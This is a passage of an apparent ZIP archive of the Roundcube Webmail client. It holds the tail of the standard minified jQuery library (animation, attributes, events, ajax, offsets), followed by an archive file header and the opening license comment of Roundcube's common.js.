this.filter(ae).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(t,e,n,r){var i=S.isEmptyObject(t),o=S.speed(e,n,r),a=function(){var e=ft(this,S.extend({},t),o);(i||Y.get(this,"finish"))&&e.stop(!0)};return a.finish=a,i||!1===o.queue?this.each(a):this.queue(o.queue,a)},stop:function(i,e,o){var a=function(e){var t=e.stop;delete e.stop,t(o)};return"string"!=typeof i&&(o=e,e=i,i=void 0),e&&this.queue(i||"fx",[]),this.each(function(){var e=!0,t=null!=i&&i+"queueHooks",n=S.timers,r=Y.get(this);if(t)r[t]&&r[t].stop&&a(r[t]);else for(t in r)r[t]&&r[t].stop&&at.test(t)&&a(r[t]);for(t=n.length;t--;)n[t].elem!==this||null!=i&&n[t].queue!==i||(n[t].anim.stop(o),e=!1,n.splice(t,1));!e&&o||S.dequeue(this,i)})},finish:function(a){return!1!==a&&(a=a||"fx"),this.each(function(){var e,t=Y.get(this),n=t[a+"queue"],r=t[a+"queueHooks"],i=S.timers,o=n?n.length:0;for(t.finish=!0,S.queue(this,a,[]),r&&r.stop&&r.stop.call(this,!0),e=i.length;e--;)i[e].elem===this&&i[e].queue===a&&(i[e].anim.stop(!0),i.splice(e,1));for(e=0;e<o;e++)n[e]&&n[e].finish&&n[e].finish.call(this);delete t.finish})}}),S.each(["toggle","show","hide"],function(e,r){var i=S.fn[r];S.fn[r]=function(e,t,n){return null==e||"boolean"==typeof e?i.apply(this,arguments):this.animate(lt(r,!0),e,t,n)}}),S.each({slideDown:lt("show"),slideUp:lt("hide"),slideToggle:lt("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,r){S.fn[e]=function(e,t,n){return this.animate(r,e,t,n)}}),S.timers=[],S.fx.tick=function(){var e,t=0,n=S.timers;for(tt=Date.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||S.fx.stop(),tt=void 0},S.fx.timer=function(e){S.timers.push(e),S.fx.start()},S.fx.interval=13,S.fx.start=function(){nt||(nt=!0,st())},S.fx.stop=function(){nt=null},S.fx.speeds={slow:600,fast:200,_default:400},S.fn.delay=function(r,e){return r=S.fx&&S.fx.speeds[r]||r,e=e||"fx",this.queue(e,function(e,t){var n=C.setTimeout(e,r);t.stop=function(){C.clearTimeout(n)}})},rt=E.createElement("input"),it=E.createElement("select").appendChild(E.createElement("option")),rt.type="checkbox",y.checkOn=""!==rt.value,y.optSelected=it.selected,(rt=E.createElement("input")).value="t",rt.type="radio",y.radioValue="t"===rt.value;var pt,dt=S.expr.attrHandle;S.fn.extend({attr:function(e,t){return $(this,S.attr,e,t,1<arguments.length)},removeAttr:function(e){return this.each(function(){S.removeAttr(this,e)})}}),S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)||(i=S.attrHooks[t.toLowerCase()]||(S.expr.match.bool.test(t)?pt:void 0)),void 0!==n?null===n?void S.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=S.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!y.radioValue&&"radio"===t&&A(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(P);if(i&&1===e.nodeType)while(n=i[r++])e.removeAttribute(n)}}),pt={set:function(e,t,n){return!1===t?S.removeAttr(e,n):e.setAttribute(n,n),n}},S.each(S.expr.match.bool.source.match(/\w+/g),function(e,t){var a=dt[t]||S.find.attr;dt[t]=function(e,t,n){var r,i,o=t.toLowerCase();return n||(i=dt[o],dt[o]=r,r=null!=a(e,t,n)?o:null,dt[o]=i),r}});var ht=/^(?:input|select|textarea|button)$/i,gt=/^(?:a|area)$/i;function vt(e){return(e.match(P)||[]).join(" ")}function yt(e){return e.getAttribute&&e.getAttribute("class")||""}function mt(e){return Array.isArray(e)?e:"string"==typeof e&&e.match(P)||[]}S.fn.extend({prop:function(e,t){return $(this,S.prop,e,t,1<arguments.length)},removeProp:function(e){return this.each(function(){delete this[S.propFix[e]||e]})}}),S.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&S.isXMLDoc(e)||(t=S.propFix[t]||t,i=S.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=S.find.attr(e,"tabindex");return t?parseInt(t,10):ht.test(e.nodeName)||gt.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),y.optSelected||(S.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),S.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){S.propFix[this.toLowerCase()]=this}),S.fn.extend({addClass:function(t){var e,n,r,i,o,a,s,u=0;if(m(t))return this.each(function(e){S(this).addClass(t.call(this,e,yt(this)))});if((e=mt(t)).length)while(n=this[u++])if(i=yt(n),r=1===n.nodeType&&" "+vt(i)+" "){a=0;while(o=e[a++])r.indexOf(" "+o+" ")<0&&(r+=o+" ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},removeClass:function(t){var e,n,r,i,o,a,s,u=0;if(m(t))return this.each(function(e){S(this).removeClass(t.call(this,e,yt(this)))});if(!arguments.length)return this.attr("class","");if((e=mt(t)).length)while(n=this[u++])if(i=yt(n),r=1===n.nodeType&&" "+vt(i)+" "){a=0;while(o=e[a++])while(-1<r.indexOf(" "+o+" "))r=r.replace(" "+o+" "," ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},toggleClass:function(i,t){var o=typeof i,a="string"===o||Array.isArray(i);return"boolean"==typeof t&&a?t?this.addClass(i):this.removeClass(i):m(i)?this.each(function(e){S(this).toggleClass(i.call(this,e,yt(this),t),t)}):this.each(function(){var e,t,n,r;if(a){t=0,n=S(this),r=mt(i);while(e=r[t++])n.hasClass(e)?n.removeClass(e):n.addClass(e)}else void 0!==i&&"boolean"!==o||((e=yt(this))&&Y.set(this,"__className__",e),this.setAttribute&&this.setAttribute("class",e||!1===i?"":Y.get(this,"__className__")||""))})},hasClass:function(e){var t,n,r=0;t=" "+e+" ";while(n=this[r++])if(1===n.nodeType&&-1<(" "+vt(yt(n))+" ").indexOf(t))return!0;return!1}});var xt=/\r/g;S.fn.extend({val:function(n){var r,e,i,t=this[0];return arguments.length?(i=m(n),this.each(function(e){var t;1===this.nodeType&&(null==(t=i?n.call(this,e,S(this).val()):n)?t="":"number"==typeof t?t+="":Array.isArray(t)&&(t=S.map(t,function(e){return null==e?"":e+""})),(r=S.valHooks[this.type]||S.valHooks[this.nodeName.toLowerCase()])&&"set"in r&&void 0!==r.set(this,t,"value")||(this.value=t))})):t?(r=S.valHooks[t.type]||S.valHooks[t.nodeName.toLowerCase()])&&"get"in r&&void 0!==(e=r.get(t,"value"))?e:"string"==typeof(e=t.value)?e.replace(xt,""):null==e?"":e:void 0}}),S.extend({valHooks:{option:{get:function(e){var t=S.find.attr(e,"value");return null!=t?t:vt(S.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,a="select-one"===e.type,s=a?null:[],u=a?o+1:i.length;for(r=o<0?u:a?o:0;r<u;r++)if(((n=i[r]).selected||r===o)&&!n.disabled&&(!n.parentNode.disabled||!A(n.parentNode,"optgroup"))){if(t=S(n).val(),a)return t;s.push(t)}return s},set:function(e,t){var n,r,i=e.options,o=S.makeArray(t),a=i.length;while(a--)((r=i[a]).selected=-1<S.inArray(S.valHooks.option.get(r),o))&&(n=!0);return n||(e.selectedIndex=-1),o}}}}),S.each(["radio","checkbox"],function(){S.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=-1<S.inArray(S(e).val(),t)}},y.checkOn||(S.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})}),y.focusin="onfocusin"in C;var bt=/^(?:focusinfocus|focusoutblur)$/,wt=function(e){e.stopPropagation()};S.extend(S.event,{trigger:function(e,t,n,r){var i,o,a,s,u,l,c,f,p=[n||E],d=v.call(e,"type")?e.type:e,h=v.call(e,"namespace")?e.namespace.split("."):[];if(o=f=a=n=n||E,3!==n.nodeType&&8!==n.nodeType&&!bt.test(d+S.event.triggered)&&(-1<d.indexOf(".")&&(d=(h=d.split(".")).shift(),h.sort()),u=d.indexOf(":")<0&&"on"+d,(e=e[S.expando]?e:new S.Event(d,"object"==typeof e&&e)).isTrigger=r?2:3,e.namespace=h.join("."),e.rnamespace=e.namespace?new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,e.result=void 0,e.target||(e.target=n),t=null==t?[e]:S.makeArray(t,[e]),c=S.event.special[d]||{},r||!c.trigger||!1!==c.trigger.apply(n,t))){if(!r&&!c.noBubble&&!x(n)){for(s=c.delegateType||d,bt.test(s+d)||(o=o.parentNode);o;o=o.parentNode)p.push(o),a=o;a===(n.ownerDocument||E)&&p.push(a.defaultView||a.parentWindow||C)}i=0;while((o=p[i++])&&!e.isPropagationStopped())f=o,e.type=1<i?s:c.bindType||d,(l=(Y.get(o,"events")||Object.create(null))[e.type]&&Y.get(o,"handle"))&&l.apply(o,t),(l=u&&o[u])&&l.apply&&V(o)&&(e.result=l.apply(o,t),!1===e.result&&e.preventDefault());return e.type=d,r||e.isDefaultPrevented()||c._default&&!1!==c._default.apply(p.pop(),t)||!V(n)||u&&m(n[d])&&!x(n)&&((a=n[u])&&(n[u]=null),S.event.triggered=d,e.isPropagationStopped()&&f.addEventListener(d,wt),n[d](),e.isPropagationStopped()&&f.removeEventListener(d,wt),S.event.triggered=void 0,a&&(n[u]=a)),e.result}},simulate:function(e,t,n){var r=S.extend(new S.Event,n,{type:e,isSimulated:!0});S.event.trigger(r,null,t)}}),S.fn.extend({trigger:function(e,t){return this.each(function(){S.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return S.event.trigger(e,t,n,!0)}}),y.focusin||S.each({focus:"focusin",blur:"focusout"},function(n,r){var i=function(e){S.event.simulate(r,e.target,S.event.fix(e))};S.event.special[r]={setup:function(){var e=this.ownerDocument||this.document||this,t=Y.access(e,r);t||e.addEventListener(n,i,!0),Y.access(e,r,(t||0)+1)},teardown:function(){var e=this.ownerDocument||this.document||this,t=Y.access(e,r)-1;t?Y.access(e,r,t):(e.removeEventListener(n,i,!0),Y.remove(e,r))}}});var Tt=C.location,Ct={guid:Date.now()},Et=/\?/;S.parseXML=function(e){var t;if(!e||"string"!=typeof e)return null;try{t=(new C.DOMParser).parseFromString(e,"text/xml")}catch(e){t=void 0}return t&&!t.getElementsByTagName("parsererror").length||S.error("Invalid XML: "+e),t};var St=/\[\]$/,kt=/\r?\n/g,At=/^(?:submit|button|image|reset|file)$/i,Nt=/^(?:input|select|textarea|keygen)/i;function Dt(n,e,r,i){var t;if(Array.isArray(e))S.each(e,function(e,t){r||St.test(n)?i(n,t):Dt(n+"["+("object"==typeof t&&null!=t?e:"")+"]",t,r,i)});else if(r||"object"!==w(e))i(n,e);else for(t in e)Dt(n+"["+t+"]",e[t],r,i)}S.param=function(e,t){var n,r=[],i=function(e,t){var n=m(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(null==e)return"";if(Array.isArray(e)||e.jquery&&!S.isPlainObject(e))S.each(e,function(){i(this.name,this.value)});else for(n in e)Dt(n,e[n],t,i);return r.join("&")},S.fn.extend({serialize:function(){return S.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=S.prop(this,"elements");return e?S.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!S(this).is(":disabled")&&Nt.test(this.nodeName)&&!At.test(e)&&(this.checked||!pe.test(e))}).map(function(e,t){var n=S(this).val();return null==n?null:Array.isArray(n)?S.map(n,function(e){return{name:t.name,value:e.replace(kt,"\r\n")}}):{name:t.name,value:n.replace(kt,"\r\n")}}).get()}});var jt=/%20/g,qt=/#.*$/,Lt=/([?&])_=[^&]*/,Ht=/^(.*?):[ \t]*([^\r\n]*)$/gm,Ot=/^(?:GET|HEAD)$/,Pt=/^\/\//,Rt={},Mt={},It="*/".concat("*"),Wt=E.createElement("a");function Ft(o){return function(e,t){"string"!=typeof e&&(t=e,e="*");var n,r=0,i=e.toLowerCase().match(P)||[];if(m(t))while(n=i[r++])"+"===n[0]?(n=n.slice(1)||"*",(o[n]=o[n]||[]).unshift(t)):(o[n]=o[n]||[]).push(t)}}function Bt(t,i,o,a){var s={},u=t===Mt;function l(e){var r;return s[e]=!0,S.each(t[e]||[],function(e,t){var n=t(i,o,a);return"string"!=typeof n||u||s[n]?u?!(r=n):void 0:(i.dataTypes.unshift(n),l(n),!1)}),r}return l(i.dataTypes[0])||!s["*"]&&l("*")}function $t(e,t){var n,r,i=S.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&S.extend(!0,e,r),e}Wt.href=Tt.href,S.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Tt.href,type:"GET",isLocal:/^(?:about|app|app-storage|.+-extension|file|res|widget):$/.test(Tt.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":It,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":S.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?$t($t(e,S.ajaxSettings),t):$t(S.ajaxSettings,e)},ajaxPrefilter:Ft(Rt),ajaxTransport:Ft(Mt),ajax:function(e,t){"object"==typeof e&&(t=e,e=void 0),t=t||{};var c,f,p,n,d,r,h,g,i,o,v=S.ajaxSetup({},t),y=v.context||v,m=v.context&&(y.nodeType||y.jquery)?S(y):S.event,x=S.Deferred(),b=S.Callbacks("once memory"),w=v.statusCode||{},a={},s={},u="canceled",T={readyState:0,getResponseHeader:function(e){var t;if(h){if(!n){n={};while(t=Ht.exec(p))n[t[1].toLowerCase()+" "]=(n[t[1].toLowerCase()+" "]||[]).concat(t[2])}t=n[e.toLowerCase()+" "]}return null==t?null:t.join(", ")},getAllResponseHeaders:function(){return h?p:null},setRequestHeader:function(e,t){return null==h&&(e=s[e.toLowerCase()]=s[e.toLowerCase()]||e,a[e]=t),this},overrideMimeType:function(e){return null==h&&(v.mimeType=e),this},statusCode:function(e){var t;if(e)if(h)T.always(e[T.status]);else for(t in e)w[t]=[w[t],e[t]];return this},abort:function(e){var t=e||u;return c&&c.abort(t),l(0,t),this}};if(x.promise(T),v.url=((e||v.url||Tt.href)+"").replace(Pt,Tt.protocol+"//"),v.type=t.method||t.type||v.method||v.type,v.dataTypes=(v.dataType||"*").toLowerCase().match(P)||[""],null==v.crossDomain){r=E.createElement("a");try{r.href=v.url,r.href=r.href,v.crossDomain=Wt.protocol+"//"+Wt.host!=r.protocol+"//"+r.host}catch(e){v.crossDomain=!0}}if(v.data&&v.processData&&"string"!=typeof v.data&&(v.data=S.param(v.data,v.traditional)),Bt(Rt,v,t,T),h)return T;for(i in(g=S.event&&v.global)&&0==S.active++&&S.event.trigger("ajaxStart"),v.type=v.type.toUpperCase(),v.hasContent=!Ot.test(v.type),f=v.url.replace(qt,""),v.hasContent?v.data&&v.processData&&0===(v.contentType||"").indexOf("application/x-www-form-urlencoded")&&(v.data=v.data.replace(jt,"+")):(o=v.url.slice(f.length),v.data&&(v.processData||"string"==typeof v.data)&&(f+=(Et.test(f)?"&":"?")+v.data,delete v.data),!1===v.cache&&(f=f.replace(Lt,"$1"),o=(Et.test(f)?"&":"?")+"_="+Ct.guid+++o),v.url=f+o),v.ifModified&&(S.lastModified[f]&&T.setRequestHeader("If-Modified-Since",S.lastModified[f]),S.etag[f]&&T.setRequestHeader("If-None-Match",S.etag[f])),(v.data&&v.hasContent&&!1!==v.contentType||t.contentType)&&T.setRequestHeader("Content-Type",v.contentType),T.setRequestHeader("Accept",v.dataTypes[0]&&v.accepts[v.dataTypes[0]]?v.accepts[v.dataTypes[0]]+("*"!==v.dataTypes[0]?", "+It+"; q=0.01":""):v.accepts["*"]),v.headers)T.setRequestHeader(i,v.headers[i]);if(v.beforeSend&&(!1===v.beforeSend.call(y,T,v)||h))return T.abort();if(u="abort",b.add(v.complete),T.done(v.success),T.fail(v.error),c=Bt(Mt,v,t,T)){if(T.readyState=1,g&&m.trigger("ajaxSend",[T,v]),h)return T;v.async&&0<v.timeout&&(d=C.setTimeout(function(){T.abort("timeout")},v.timeout));try{h=!1,c.send(a,l)}catch(e){if(h)throw e;l(-1,e)}}else l(-1,"No Transport");function l(e,t,n,r){var i,o,a,s,u,l=t;h||(h=!0,d&&C.clearTimeout(d),c=void 0,p=r||"",T.readyState=0<e?4:0,i=200<=e&&e<300||304===e,n&&(s=function(e,t,n){var r,i,o,a,s=e.contents,u=e.dataTypes;while("*"===u[0])u.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader("Content-Type"));if(r)for(i in s)if(s[i]&&s[i].test(r)){u.unshift(i);break}if(u[0]in n)o=u[0];else{for(i in n){if(!u[0]||e.converters[i+" "+u[0]]){o=i;break}a||(a=i)}o=o||a}if(o)return o!==u[0]&&u.unshift(o),n[o]}(v,T,n)),!i&&-1<S.inArray("script",v.dataTypes)&&(v.converters["text script"]=function(){}),s=function(e,t,n,r){var i,o,a,s,u,l={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)l[a.toLowerCase()]=e.converters[a];o=c.shift();while(o)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if("*"===o)o=u;else if("*"!==u&&u!==o){if(!(a=l[u+" "+o]||l["* "+o]))for(i in l)if((s=i.split(" "))[1]===o&&(a=l[u+" "+s[0]]||l["* "+s[0]])){!0===a?a=l[i]:!0!==l[i]&&(o=s[0],c.unshift(s[1]));break}if(!0!==a)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(e){return{state:"parsererror",error:a?e:"No conversion from "+u+" to "+o}}}return{state:"success",data:t}}(v,s,T,i),i?(v.ifModified&&((u=T.getResponseHeader("Last-Modified"))&&(S.lastModified[f]=u),(u=T.getResponseHeader("etag"))&&(S.etag[f]=u)),204===e||"HEAD"===v.type?l="nocontent":304===e?l="notmodified":(l=s.state,o=s.data,i=!(a=s.error))):(a=l,!e&&l||(l="error",e<0&&(e=0))),T.status=e,T.statusText=(t||l)+"",i?x.resolveWith(y,[o,l,T]):x.rejectWith(y,[T,l,a]),T.statusCode(w),w=void 0,g&&m.trigger(i?"ajaxSuccess":"ajaxError",[T,v,i?o:a]),b.fireWith(y,[T,l]),g&&(m.trigger("ajaxComplete",[T,v]),--S.active||S.event.trigger("ajaxStop")))}return T},getJSON:function(e,t,n){return S.get(e,t,n,"json")},getScript:function(e,t){return S.get(e,void 0,t,"script")}}),S.each(["get","post"],function(e,i){S[i]=function(e,t,n,r){return m(t)&&(r=r||n,n=t,t=void 0),S.ajax(S.extend({url:e,type:i,dataType:r,data:t,success:n},S.isPlainObject(e)&&e))}}),S.ajaxPrefilter(function(e){var t;for(t in e.headers)"content-type"===t.toLowerCase()&&(e.contentType=e.headers[t]||"")}),S._evalUrl=function(e,t,n){return S.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,converters:{"text script":function(){}},dataFilter:function(e){S.globalEval(e,t,n)}})},S.fn.extend({wrapAll:function(e){var t;return this[0]&&(m(e)&&(e=e.call(this[0])),t=S(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(n){return m(n)?this.each(function(e){S(this).wrapInner(n.call(this,e))}):this.each(function(){var e=S(this),t=e.contents();t.length?t.wrapAll(n):e.append(n)})},wrap:function(t){var n=m(t);return this.each(function(e){S(this).wrapAll(n?t.call(this,e):t)})},unwrap:function(e){return this.parent(e).not("body").each(function(){S(this).replaceWith(this.childNodes)}),this}}),S.expr.pseudos.hidden=function(e){return!S.expr.pseudos.visible(e)},S.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},S.ajaxSettings.xhr=function(){try{return new C.XMLHttpRequest}catch(e){}};var _t={0:200,1223:204},zt=S.ajaxSettings.xhr();y.cors=!!zt&&"withCredentials"in zt,y.ajax=zt=!!zt,S.ajaxTransport(function(i){var o,a;if(y.cors||zt&&!i.crossDomain)return{send:function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain||e["X-Requested-With"]||(e["X-Requested-With"]="XMLHttpRequest"),e)r.setRequestHeader(n,e[n]);o=function(e){return function(){o&&(o=a=r.onload=r.onerror=r.onabort=r.ontimeout=r.onreadystatechange=null,"abort"===e?r.abort():"error"===e?"number"!=typeof r.status?t(0,"error"):t(r.status,r.statusText):t(_t[r.status]||r.status,r.statusText,"text"!==(r.responseType||"text")||"string"!=typeof r.responseText?{binary:r.response}:{text:r.responseText},r.getAllResponseHeaders()))}},r.onload=o(),a=r.onerror=r.ontimeout=o("error"),void 0!==r.onabort?r.onabort=a:r.onreadystatechange=function(){4===r.readyState&&C.setTimeout(function(){o&&a()})},o=o("abort");try{r.send(i.hasContent&&i.data||null)}catch(e){if(o)throw e}},abort:function(){o&&o()}}}),S.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),S.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return S.globalEval(e),e}}}),S.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET")}),S.ajaxTransport("script",function(n){var r,i;if(n.crossDomain||n.scriptAttrs)return{send:function(e,t){r=S("<script>").attr(n.scriptAttrs||{}).prop({charset:n.scriptCharset,src:n.url}).on("load error",i=function(e){r.remove(),i=null,e&&t("error"===e.type?404:200,e.type)}),E.head.appendChild(r[0])},abort:function(){i&&i()}}});var Ut,Xt=[],Vt=/(=)\?(?=&|$)|\?\?/;S.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Xt.pop()||S.expando+"_"+Ct.guid++;return this[e]=!0,e}}),S.ajaxPrefilter("json jsonp",function(e,t,n){var r,i,o,a=!1!==e.jsonp&&(Vt.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&Vt.test(e.data)&&"data");if(a||"jsonp"===e.dataTypes[0])return r=e.jsonpCallback=m(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(Vt,"$1"+r):!1!==e.jsonp&&(e.url+=(Et.test(e.url)?"&":"?")+e.jsonp+"="+r),e.converters["script json"]=function(){return o||S.error(r+" was not called"),o[0]},e.dataTypes[0]="json",i=C[r],C[r]=function(){o=arguments},n.always(function(){void 0===i?S(C).removeProp(r):C[r]=i,e[r]&&(e.jsonpCallback=t.jsonpCallback,Xt.push(r)),o&&m(i)&&i(o[0]),o=i=void 0}),"script"}),y.createHTMLDocument=((Ut=E.implementation.createHTMLDocument("").body).innerHTML="<form></form><form></form>",2===Ut.childNodes.length),S.parseHTML=function(e,t,n){return"string"!=typeof e?[]:("boolean"==typeof t&&(n=t,t=!1),t||(y.createHTMLDocument?((r=(t=E.implementation.createHTMLDocument("")).createElement("base")).href=E.location.href,t.head.appendChild(r)):t=E),o=!n&&[],(i=N.exec(e))?[t.createElement(i[1])]:(i=xe([e],t,o),o&&o.length&&S(o).remove(),S.merge([],i.childNodes)));var r,i,o},S.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return-1<s&&(r=vt(e.slice(s)),e=e.slice(0,s)),m(t)?(n=t,t=void 0):t&&"object"==typeof t&&(i="POST"),0<a.length&&S.ajax({url:e,type:i||"GET",dataType:"html",data:t}).done(function(e){o=arguments,a.html(r?S("<div>").append(S.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},S.expr.pseudos.animated=function(t){return S.grep(S.timers,function(e){return t===e.elem}).length},S.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l=S.css(e,"position"),c=S(e),f={};"static"===l&&(e.style.position="relative"),s=c.offset(),o=S.css(e,"top"),u=S.css(e,"left"),("absolute"===l||"fixed"===l)&&-1<(o+u).indexOf("auto")?(a=(r=c.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),m(t)&&(t=t.call(e,n,S.extend({},s))),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):("number"==typeof f.top&&(f.top+="px"),"number"==typeof f.left&&(f.left+="px"),c.css(f))}},S.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){S.offset.setOffset(this,t,e)});var e,n,r=this[0];return r?r.getClientRects().length?(e=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:e.top+n.pageYOffset,left:e.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===S.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===S.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=S(e).offset()).top+=S.css(e,"borderTopWidth",!0),i.left+=S.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-S.css(r,"marginTop",!0),left:t.left-i.left-S.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===S.css(e,"position"))e=e.offsetParent;return e||re})}}),S.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(t,i){var o="pageYOffset"===i;S.fn[t]=function(e){return $(this,function(e,t,n){var r;if(x(e)?r=e:9===e.nodeType&&(r=e.defaultView),void 0===n)return r?r[i]:e[t];r?r.scrollTo(o?r.pageXOffset:n,o?n:r.pageYOffset):e[t]=n},t,e,arguments.length)}}),S.each(["top","left"],function(e,n){S.cssHooks[n]=$e(y.pixelPosition,function(e,t){if(t)return t=Be(e,n),Me.test(t)?S(e).position()[n]+"px":t})}),S.each({Height:"height",Width:"width"},function(a,s){S.each({padding:"inner"+a,content:s,"":"outer"+a},function(r,o){S.fn[o]=function(e,t){var n=arguments.length&&(r||"boolean"!=typeof e),i=r||(!0===e||!0===t?"margin":"border");return $(this,function(e,t,n){var r;return x(e)?0===o.indexOf("outer")?e["inner"+a]:e.document.documentElement["client"+a]:9===e.nodeType?(r=e.documentElement,Math.max(e.body["scroll"+a],r["scroll"+a],e.body["offset"+a],r["offset"+a],r["client"+a])):void 0===n?S.css(e,t,i):S.style(e,t,n,i)},s,n?e:void 0,n)}})}),S.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){S.fn[t]=function(e){return this.on(t,e)}}),S.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),S.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,n){S.fn[n]=function(e,t){return 0<arguments.length?this.on(n,null,e,t):this.trigger(n)}});var Gt=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;S.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),m(e))return r=s.call(arguments,2),(i=function(){return e.apply(t||this,r.concat(s.call(arguments)))}).guid=e.guid=e.guid||S.guid++,i},S.holdReady=function(e){e?S.readyWait++:S.ready(!0)},S.isArray=Array.isArray,S.parseJSON=JSON.parse,S.nodeName=A,S.isFunction=m,S.isWindow=x,S.camelCase=X,S.type=w,S.now=Date.now,S.isNumeric=function(e){var t=S.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},S.trim=function(e){return null==e?"":(e+"").replace(Gt,"")},"function"==typeof define&&define.amd&&define("jquery",[],function(){return S});var Yt=C.jQuery,Qt=C.$;return S.noConflict=function(e){return C.$===S&&(C.$=Qt),e&&C.jQuery===S&&(C.jQuery=Yt),S},"undefined"==typeof e&&(C.jQuery=C.$=S),S});
PK
h�\Q�W�Y�Yprogram/js/common.jsnu�[���/**
 * Roundcube common js library
 *
 * This file is part of the Roundcube Webmail client
 *
 * @licstart  The following is the entire license notice for the
